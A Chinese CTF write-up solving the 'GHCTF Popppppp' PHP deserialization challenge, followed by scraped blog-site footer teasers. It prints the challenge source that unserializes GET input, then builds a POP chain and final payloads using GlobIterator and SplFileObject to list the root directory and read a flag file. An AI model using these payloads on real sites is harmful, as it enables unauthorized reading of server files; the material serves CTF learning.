ctf-web: php原生类利用 -- GHCTF Popppppp

源代码

<?php  
error_reporting(0);  class CherryBlossom {  public $fruit1;  public $fruit2;  public function __construct($a) {$this->fruit1 = $a;  }  function __destruct() {  echo $this->fruit1;  }  public function __toString() {        $newFunc = $this->fruit2;  return $newFunc();  }  
}  class Forbidden {  private $fruit3;  public function __construct($string) {$this->fruit3 = $string;  }  public function __get($name) {$var = $this->$name;$var[$name]();  }  
}  class Warlord {  public $fruit4;  public $fruit5;  public $arg1;  public function __call($arg1, $arg2) {$function = $this->fruit4;  return $function();  }  public function __get($arg1) {$this->fruit5->ll2('b2');  }  
}  class Samurai {  public $fruit6;  public $fruit7;  public function __toString() {$long = @$this->fruit6->add();  return $long;  }  public function __set($arg1, $arg2) {  if ($this->fruit7->tt2) {  echo "xxx are the best!!!";  }  }  
}  class Mystery {  public function __get($arg1) {array_walk($this, function ($day1, $day2) {$day3 = new $day2($day1);foreach ($day3 as $day4) {echo ($day4 . '<br>');}});}  
}  class Princess {  protected $fruit9;  protected function addMe() {  return "The time spent with xxx is my happiest time" . $this->fruit9;  }  public function __call($func, $args) {call_user_func([$this, $func . "Me"], $args);  }  
}  class Philosopher {  public $fruit10;  public $fruit11="sr22kaDugamdwTPhG5zU";  public function __invoke() {  if (md5(md5($this->fruit11)) == 666) {  return $this->fruit10->hey;  }  }  
}  class UselessTwo {  public $hiddenVar = "123123";  public function __construct($value) {$this->hiddenVar = $value;  }  public function __toString() {  return $this->hiddenVar;  }  
}  class Warrior {  public $fruit12;  private $fruit13;  public function __set($name, $value) {$this->$name = $value;  if ($this->fruit13 == "xxx") {strtolower($this->fruit12);  }  }  
}  class UselessThree {  public $dummyVar;  public function __call($name, $args) {  return $name;  }  
}  class UselessFour {  public $lalala;  public function __destruct() {  echo "Hehe";  }  
}  if (isset($_GET['GHCTF'])) {unserialize($_GET['GHCTF']);  
} else {highlight_file(__FILE__);  
}

step 1 找利用点

翻找全部类发现没有可控任意函数执行点,但是能发现一个很特别的类

class Mystery {  public function __get($arg1) {  array_walk($this, function ($day1, $day2) {  $day3 = new $day2($day1);  foreach ($day3 as $day4) {  echo ($day4 . '<br>');  }  });  }  
}

array_walk()

array_walk 是 PHP 中一个用于对数组中的每个元素应用回调函数的函数。该函数的基本用法是遍历数组,并对每个元素调用用户自定义的回调函数,回调函数可以修改数组元素的值。

语法

bool array_walk ( array &$array , callable $callback [, mixed $userdata = NULL ] )
  • $array:输入的数组,必须是引用传递(&)。
  • $callback:用户自定义的回调函数,函数名称或匿名函数。
  • $userdata:可选参数,用户自定义的数据,这个数据会作为第三个参数传递给回调函数。

但是Mystery是没有属性的,这里要展示一个php反序列化的特性

<?php  
class Mystery {  public $test = 'Hello World!';  public function __get($arg1) {  array_walk($this, function ($day1, $day2) {  $day3 = new $day2($day1);  foreach ($day3 as $day4) {  echo ($day4 . '<br>');  }  });  }  
}  $obj = new Mystery();  
echo serialize($obj);

先序列化这段代码,得到输出,再尝试下面这段代码

<?php  class test{  public function __construct($echo)  {  echo $echo;  }  
}  class Mystery {  public function __get($arg1) {  array_walk($this, function ($day1, $day2) {  $day3 = new $day2($day1);  foreach ($day3 as $day4) {  echo ($day4 . '<br>');  }  });  }  
}  $obj = unserialize('O:7:"Mystery":1:{s:4:"test";s:12:"Hello World!";}');  
$obj->inexistent;

你将能看到Mystery获得了本不属于他的 $test = 'Hello World!',并调用了test类输出了Hello World!
我将在之后讲述如何继续利用,在这之前先让我们寻找可用的pop链

step 2 寻找反序列化链

我们要向上寻找能调用其不存在属性的类

注意这个类是不行的,因为__set__get 作用是相似的,如果__set能触发,那么__get也能触发

$this->fruit7->tt2

class Samurai {public $fruit6;  public $fruit7;  public function __toString() {  $long = @$this->fruit6->add();  return $long;  }  public function __set($arg1, $arg2) {  if ($this->fruit7->tt2) {  echo "xxx are the best!!!";  }  }  
}

所以只能考虑这个类

$this->fruit7->tt2

class Philosopher {  public $fruit10;  public $fruit11="sr22kaDugamdwTPhG5zU";  public function __invoke() {  if (md5(md5($this->fruit11)) == 666) {  return $this->fruit10->hey;  }  }  
}

tips: 在 PHP 中,'666abc' == 666 为真

编写python脚本找到一个经过两次md5后开头为666的字符串

import hashlibdef md5_hash(text):"""返回给定文本的MD5哈希值(小写十六进制形式)"""return hashlib.md5(text.encode('utf-8')).hexdigest()def find_string_with_double_md5(prefix):"""查找经过两次MD5哈希后,哈希值前缀为指定前缀的字符串"""num = 0while True:# 第一次 MD5 哈希first_hash = md5_hash(str(num))# 第二次 MD5 哈希second_hash = md5_hash(first_hash)# 检查第二次哈希值的前缀if second_hash.startswith(prefix):return str(num), second_hashnum += 1# 目标前缀 "666"
target_prefix = "666"
result_string, result_hash = find_string_with_double_md5(target_prefix)print(f"找到的字符串: {result_string}")
print(f"第二次MD5哈希值: {result_hash}")

得到213

接下来寻找如何触发 __invoke()

排除掉干扰项找到

<?php  
class CherryBlossom {  public $fruit1;  public $fruit2;  public function __construct($a) {  $this->fruit1 = $a;  }  function __destruct() {  echo $this->fruit1;  }public function __toString() {  $newFunc = $this->fruit2;  return $newFunc();  }  
}

找到这里链条已经闭合,可以写出链条。

<?php  
class CherryBlossom {  public $fruit1;  public $fruit2;  
}  class Philosopher {  public $fruit10;  public $fruit11="213";  
}  class Mystery {  public $test = 'Hello World!';  
}  $obj = new CherryBlossom();  
$obj -> fruit1 = new CherryBlossom();  
$obj -> fruit1 -> fruit2 = new Philosopher();  
$obj -> fruit1 -> fruit2 -> fruit10 = new Mystery();  echo serialize($obj);

step 3 利用


GlobIterator 是 PHP 中的一个内置类,属于 SplFileInfo 类的子类,用于遍历符合特定模式的文件系统路径。它实现了一个基于文件名模式匹配的迭代器,常常用于处理和读取一组符合 glob 模式(如 *.txt)的文件。GlobIterator 类可以让你方便地使用迭代器模式来遍历符合模式的文件路径。

基本概念:

GlobIterator 类是基于 glob 函数的,它允许你在文件系统中查找符合给定模式的文件。例如,可以使用 *.txt 来匹配所有 .txt 文件。

语法:

new GlobIterator(string $glob_pattern);
  • $glob_pattern:一个文件路径模式,可以包含通配符(如 *?),用来匹配文件名或路径。

常见方法:

GlobIterator 类继承了 TraversableIterator 接口,因此它可以被用于 foreach 循环进行遍历。它提供了与文件相关的信息(如文件大小、修改时间等)。

1. getFilename()

获取当前文件或目录的文件名。

2. getPathname()

获取当前文件或目录的完整路径。

3. getSize()

获取当前文件的大小(以字节为单位)。

4. getMTime()

获取当前文件的最后修改时间。

5. isDir()

检查当前项是否为目录。

6. isFile()

检查当前项是否为文件。

示例:使用 GlobIterator 遍历符合模式的文件

getFilename() . "\n";echo "文件路径: " . $fileinfo->getPathname() . "\n";echo "文件大小: " . $fileinfo->getSize() . " 字节\n";echo "最后修改时间: " . date('Y-m-d H:i:s', $fileinfo->getMTime()) . "\n";echo "是否为目录: " . ($fileinfo->isDir() ? '是' : '否') . "\n";echo "----------------------------\n";
}
?>

代码解析:

  1. GlobIterator('*.txt'):我们创建了一个 GlobIterator 实例,传入一个模式 *.txt,该模式匹配当前目录下的所有 .txt 文件。
  2. foreachGlobIterator 实现了 Traversable 接口,因此它可以直接被用在 foreach 循环中进行迭代。每次迭代返回一个 SplFileInfo 对象,我们可以用它来获取文件的相关信息。
  3. 输出文件信息:在每次循环中,我们输出文件的:
    • 文件名(getFilename()
    • 文件路径(getPathname()
    • 文件大小(getSize()
    • 最后修改时间(getMTime()
    • 是否为目录(isDir()

写出文件列出exp,获得文件列表

<?php  
class CherryBlossom {  public $fruit1;  public $fruit2;  
}  class Philosopher {  public $fruit10;  public $fruit11="213";  
}  class Mystery {  public $GlobIterator = '/*';  
}  $obj = new CherryBlossom();  
$obj -> fruit1 = new CherryBlossom();  
$obj -> fruit1 -> fruit2 = new Philosopher();  
$obj -> fruit1 -> fruit2 -> fruit10 = new Mystery();  echo serialize($obj);
?GHCTF=O:13:"CherryBlossom":2:{s:6:"fruit1";O:13:"CherryBlossom":2:{s:6:"fruit1";N;s:6:"fruit2";O:11:"Philosopher":2:{s:7:"fruit10";O:7:"Mystery":1:{s:12:"GlobIterator";s:2:"/*";}s:7:"fruit11";s:3:"213";}}s:6:"fruit2";N;}

SplFileObject 是 PHP 中的一个内置类,属于 SPL(Standard PHP Library)库的一部分,它提供了一个面向对象的方式来处理文件操作。相比传统的基于函数的文件处理方式(如 fopenfreadfwrite 等),SplFileObject 提供了更多的封装和面向对象的特性,使得文件操作更为简洁和灵活。

基本概念:

SplFileObject 用于表示一个文件,并允许你以面向对象的方式进行文件读取、写入、修改等操作。它继承自 PHP 内置的 SplFileInfo 类,因此你可以用它来获取文件的基本信息(如文件名、路径、大小等)。

常见方法:

SplFileObject 提供了很多方法来进行文件操作,如读取、写入、遍历文件内容等。

1. 构造函数
new SplFileObject(string $filename, string $open_mode = 'r', bool $use_include_path = false, resource $context = null);
  • $filename:文件名,必须指定。
  • $open_mode:打开文件的模式,默认为 'r'(只读模式),可以是 'r', 'w', 'a', 'r+' 等。
  • $use_include_path:是否查找包含路径(默认为 false)。
  • $context:文件打开时使用的上下文资源(默认为 null)。
2. 常用方法
  • fgetc():读取文件中的下一个字符。
  • fgets():读取文件中的一行。
  • fread():读取指定长度的数据。
  • fwrite():向文件写入数据。
  • fseek():设置文件指针的位置。
  • eof():检查文件指针是否已经到达文件末尾。
  • flock():对文件进行锁定操作(类似于 flock() 函数)。
  • getFilename():获取文件名(继承自 SplFileInfo)。
  • getSize():获取文件大小(继承自 SplFileInfo)。
  • getPathname():获取文件的完整路径(继承自 SplFileInfo)。
3. 迭代器接口

SplFileObject 实现了 Traversable 接口,意味着你可以使用 foreach 来逐行遍历文件内容。

示例 1:读取文件内容

eof()) {echo $file->fgets();  // 输出当前行
}
?>
  • 这里我们创建了一个 SplFileObject 对象,打开 example.txt 文件,并使用 fgets() 方法逐行读取文件内容直到文件末尾(eof())。

示例 2:写入文件

fwrite("Hello, world!\n");
$file->fwrite("This is a test.\n");// 关闭文件
$file = null;
?>
  • 在这个示例中,我们以写入模式('w')打开 output.txt 文件,使用 fwrite() 方法向文件写入内容。写入完成后,关闭文件。

示例 3:遍历文件(迭代器)

<?php
// 使用 SplFileObject 作为迭代器,逐行读取文件
$file = new SplFileObject('example.txt', 'r');foreach ($file as $line) {echo $line;  // 输出每一行
}
?>
  • SplFileObject 实现了 Traversable 接口,因此你可以像使用普通数组一样,用 foreach 遍历文件的每一行。

示例 4:文件指针操作

seek(2);  // 文件指针指向第 3 行(索引从 0 开始)// 读取并输出第 3 行
echo $file->fgets();  // 输出第 3 行内容
?>
  • 使用 seek() 方法可以将文件指针移动到指定的行。这里 seek(2) 将指针移动到第 3 行。

示例 5:检查文件末尾

eof()) {echo $file->fgets();  // 输出文件内容直到末尾
}
?>
  • eof() 方法检查文件指针是否已经到达文件末尾。你可以通过此方法来控制读取循环,确保文件没有被读取两次。

写出文件读取

<?php  
class CherryBlossom {  public $fruit1;  public $fruit2;  
}  class Philosopher {  public $fruit10;  public $fruit11="213";  
}  class Mystery {  public  $SplFileObject="/flag44545615441084";  
}  $obj = new CherryBlossom();  
$obj -> fruit1 = new CherryBlossom();  
$obj -> fruit1 -> fruit2 = new Philosopher();  
$obj -> fruit1 -> fruit2 -> fruit10 = new Mystery();  echo serialize($obj);
?GHCTF=O:13:"CherryBlossom":2:{s:6:"fruit1";O:13:"CherryBlossom":2:{s:6:"fruit1";N;s:6:"fruit2";O:11:"Philosopher":2:{s:7:"fruit10";O:7:"Mystery":1:{s:13:"SplFileObject";s:19:"/flag44545615441084";}s:7:"fruit11";s:3:"213";}}s:6:"fruit2";N;}

成功获得flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/72060.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

入门到入土,Java学习 day16(算法1)

利用循环遍历来判断是否相等 二分查找/折半查找 前提条件&#xff1a;数组中的数据有序 每次排除一般的查找范围 用min,max,mid来处理&#xff0c;最大加最小除2&#xff0c;比较&#xff0c;然后得到在中间左边还是右边然后更新最大最小 public class Two {// 二分查找方法…

mysql-8.0.41-winx64 手动安装详细教程(2025版)

mysql-8.0.41-winx64 手动安装详细教程&#xff08;2025版&#xff09; 一、下载安装包二、配置环境变量三、安装配置四、启动 MySQL 服务&#xff0c;修改密码 一、下载安装包 安装地址如下&#xff1a; https://dev.mysql.com/downloads/mysql/使用7-zip或其他解压软件&…

Python 编写安全工具

编写安全工具&#xff1a;Python在网络安全中的应用 在当前信息时代&#xff0c;网络安全问题日益引起人们的关注。为了更好地保护个人和组织的信息安全&#xff0c;开发安全工具是至关重要的一环。Python作为一种易学易用的编程语言&#xff0c;被广泛应用于网络安全领域。本…

基于Python+Vue开发的电影订票管理系统源码+运行步骤

项目简介 该项目是基于PythonVue开发的电影订票管理系统&#xff08;前后端分离&#xff09;&#xff0c;这是一项为大学生课程设计作业而开发的项目。该系统旨在帮助大学生学习并掌握Python编程技能&#xff0c;同时锻炼他们的项目设计与开发能力。通过学习基于Python的电影订…

Synology 部署的 WordPress 無法升級至最新版本時,可以透過以下改良版指南進行排查和解決。

當 Synology 部署的 WordPress 無法升級至最新版本時&#xff0c;可以透過以下改良版指南進行排查和解決。我對內容進行了補充和重新組織&#xff0c;希望能幫助你更高效地處理這類問題&#xff1a; 權限相關問題處理 檢查文件和目錄權限&#xff1a; 確保 WordPress 安裝目錄…

Flink深入浅出之03:状态、窗口、checkpoint、两阶段提交

Flink是一个有状态的流&#xff0c;&#x1f445;一起深入了解这个有状态的流 3️⃣ 目标 掌握State知识掌握Flink三种State Backend掌握Flink checkpoint和savepoint原理了解Flink的重启策略checkpointtwo phase commit保证E-O语义 4️⃣ 要点 &#x1f4d6; 1. Flink的St…

在资源有限中逆势突围:从抗战智谋到寒门高考的破局智慧

目录 引言 一、历史中的非对称作战&#xff1a;从李牧到八路军的智谋传承 李牧戍边&#xff1a;古代军事博弈中的资源重构 八路军的游击战&#xff1a;现代战争中的智慧延续 二、创业界的逆袭之道&#xff1a;小米与拼多多的资源重构 从MVP到杠杆解 社交裂变与资源错配 …

C#方法之详解

一、方法基础语法‌ C#方法是封装代码逻辑的基本单元&#xff0c;用于执行特定操作并支持模块化编程‌。 定义与结构‌ C#方法由访问修饰符、返回值、方法名、参数列表和方法体构成。基础语法如下&#xff1a; [访问修饰符] [static] 返回值类型 方法名(参数列表) { // 方…

网页打印很简单!用web打印插件lodop轻松实现文件打印

最近&#xff0c;给客户发一个事件提醒软件&#xff0c;其中客户要求实现打印功能&#xff0c;因为是用asp.net mvc 开发首先考虑到用水晶报表来实现&#xff08;crystalReport&#xff09;&#xff0c;以前开发c# winform程序&#xff0c;感觉水晶报表还是蛮好的&#xff0c;但…

Claude、ChatGPT、Gemini等主流AI模型。分别详细介绍它们并进行对比,需要指出关键的时间点

以下是关于Claude、ChatGPT和Gemini三大主流AI模型的详细介绍及对比分析&#xff0c;结合关键时间点和核心技术特征&#xff1a; 1. Claude&#xff08;Anthropic&#xff09; 关键时间点与版本迭代 2023年3月&#xff1a;初代Claude发布&#xff0c;定位为安全可控的对话模型…

统计登录系统10秒内连续登录失败超过3次的用户

为防止暴力破解用户账号的行为&#xff0c;在输入账号和密码时一般都会限制用户尝试密码输出错误的次数&#xff0c;如果用户多次输错密码后&#xff0c;将在一段时间内锁定账号&#xff0c;常见的有银行类APP、个税App等应用&#xff0c;如下是用户账号密码输入错误的提示图&a…

vue3通过render函数实现一个菜单下拉框

背景说明 鼠标移动到产品服务上时&#xff0c;出现标红的下拉框。 使用纯css的方案实现最简单&#xff0c;但是没什么技术含量&#xff0c;弃之&#xff1b;使用第三方组件库&#xff0c;样式定制麻烦弃之。因此&#xff0c;我们使用vue3直接在页面创建一个dom作为下拉框吧。…

二、重学C++—C语言核心

上一章节&#xff1a; 一、重学C—C语言基础-CSDN博客https://blog.csdn.net/weixin_36323170/article/details/146002496?spm1001.2014.3001.5502 本章节代码&#xff1a; cPart2 CuiQingCheng/cppstudy - 码云 - 开源中国https://gitee.com/cuiqingcheng/cppstudy/tree/…

2-003:MySQL 三层 B+ 树能存多少数据?

1. 计算 B 树能存储多少数据 参数设定 每个数据页&#xff08;Page&#xff09;大小&#xff1a;16KB&#xff08;16384 字节&#xff09;每个索引节点存储的子节点数量&#xff1a; 索引项大小&#xff1a; 假设 bigint&#xff08;主键&#xff09;占 8 字节每个索引项存储…

几种常见的虚拟环境工具(Virtualenv、Conda、System Interpreter、Pipenv、Poetry)的区别和特点总结

在 PyCharm 中创建虚拟环境是一个非常直接的过程&#xff0c;可以帮助你管理项目依赖&#xff0c;确保不同项目之间的依赖不会冲突。 通过 PyCharm 创建虚拟环境 打开 PyCharm 并选择或创建一个项目。 打开项目设置&#xff1a; 在 Windows/Linux 上&#xff0c;可以通过点击…

Windows系统编程项目(四)窗口管理器

本章我们讲解基于对话框的MFC窗口相关的操作 该管理器要实现以下功能 初始化列表 初始化列表表头 初始化图像列表 初始化列表 功能实现 加载菜单 刷新列表 结束进程 隐藏窗口 最大化窗口 最小化窗口 手搓窗口管理器 // CWindowManage.cpp: 实现文件 //#include "pch.h&…

优化 NFS 挂载参数以提升可靠性与容错性

在现代 IT 基础设施中&#xff0c;NFS&#xff08;网络文件系统&#xff09;被广泛用于共享文件和存储。虽然 NFS 提供了便利&#xff0c;但在某些情况下&#xff0c;挂载失败或网络问题可能导致挂载操作不稳定。为了提高挂载的可靠性和容错性&#xff0c;我们可以通过优化 NFS…

JavaScript事件循环机制

JavaScript 事件循环机制&#xff08;Event Loop&#xff09;详解 JavaScript 是 单线程、非阻塞 语言&#xff0c;依赖 事件循环&#xff08;Event Loop&#xff09; 来实现异步编程。它的执行模型包括 调用栈&#xff08;Call Stack&#xff09;、任务队列&#xff08;Task …

大模型架构记录4-文档切分 (chunks构建)

chunks&#xff1a; 块 trunks : 树干 “RAG”通常指 检索增强生成&#xff08;Retrieval-Augmented Generation&#xff09; 主要框架&#xff1a;用户提query&#xff0c;找到和它相关的&#xff0c;先把问题转换为向量&#xff0c;和向量数据库的数据做比较&#xff0c;检…

物联网IoT系列之MQTT协议基础知识

文章目录 物联网IoT系列之MQTT协议基础知识物联网IoT是什么&#xff1f;什么是MQTT&#xff1f;为什么说MQTT是适用于物联网的协议&#xff1f;MQTT工作原理核心组件核心机制 MQTT工作流程1. 建立连接2. 发布和订阅3. 消息确认4. 断开连接 MQTT工作流程图MQTT在物联网中的应用 …